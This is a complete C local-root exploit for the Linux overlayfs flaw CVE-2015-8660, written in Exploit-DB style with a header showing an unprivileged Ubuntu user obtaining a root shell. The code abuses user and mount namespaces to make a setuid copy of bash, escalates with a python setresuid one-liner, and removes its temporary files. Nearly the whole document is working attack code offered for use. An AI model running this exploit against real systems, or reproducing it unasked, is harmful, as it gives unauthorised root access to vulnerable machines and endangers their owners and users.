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110 | /*
just another overlayfs exploit, works on kernels before 2015-12-26
# Exploit Title: overlayfs local root
# Date: 2016-01-05
# Exploit Author: rebel
# Version: Ubuntu 14.04 LTS, 15.10 and more
# Tested on: Ubuntu 14.04 LTS, 15.10
# CVE : CVE-2015-8660
blah@ubuntu:~$ id
uid=1001(blah) gid=1001(blah) groups=1001(blah)
blah@ubuntu:~$ uname -a && cat /etc/issue
Linux ubuntu 3.19.0-42-generic #48~14.04.1-Ubuntu SMP Fri Dec 18 10:24:49 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
Ubuntu 14.04.3 LTS \n \l
blah@ubuntu:~$ ./overlayfail
root@ubuntu:~# id
uid=0(root) gid=1001(blah) groups=0(root),1001(blah)
12/2015
by rebel
6354b4e23db225b565d79f226f2e49ec0fe1e19b
*/
#include <stdio.h>
#include <sched.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <signal.h>
#include <fcntl.h>
#include <string.h>
#include <linux/sched.h>
#include <sys/wait.h>
static char child_stack[1024*1024];
static int
child_exec(void *stuff)
{
system("rm -rf /tmp/haxhax");
mkdir("/tmp/haxhax", 0777);
mkdir("/tmp/haxhax/w", 0777);
mkdir("/tmp/haxhax/u",0777);
mkdir("/tmp/haxhax/o",0777);
if (mount("overlay", "/tmp/haxhax/o", "overlay", MS_MGC_VAL, "lowerdir=/bin,upperdir=/tmp/haxhax/u,workdir=/tmp/haxhax/w") != 0) {
fprintf(stderr,"mount failed..\n");
}
chmod("/tmp/haxhax/w/work",0777);
chdir("/tmp/haxhax/o");
chmod("bash",04755);
chdir("/");
umount("/tmp/haxhax/o");
return 0;
}
int
main(int argc, char **argv)
{
int status;
pid_t wrapper, init;
int clone_flags = CLONE_NEWNS | SIGCHLD;
struct stat s;
if((wrapper = fork()) == 0) {
if(unshare(CLONE_NEWUSER) != 0)
fprintf(stderr, "failed to create new user namespace\n");
if((init = fork()) == 0) {
pid_t pid =
clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);
if(pid < 0) {
fprintf(stderr, "failed to create new mount namespace\n");
exit(-1);
}
waitpid(pid, &status, 0);
}
waitpid(init, &status, 0);
return 0;
}
usleep(300000);
wait(NULL);
stat("/tmp/haxhax/u/bash",&s);
if(s.st_mode == 0x89ed)
execl("/tmp/haxhax/u/bash","bash","-p","-c","rm -rf /tmp/haxhax;python -c \"import os;os.setresuid(0,0,0);os.execl('/bin/bash','bash');\"",NULL);
fprintf(stderr,"couldn't create suid :(\n");
return -1;
}
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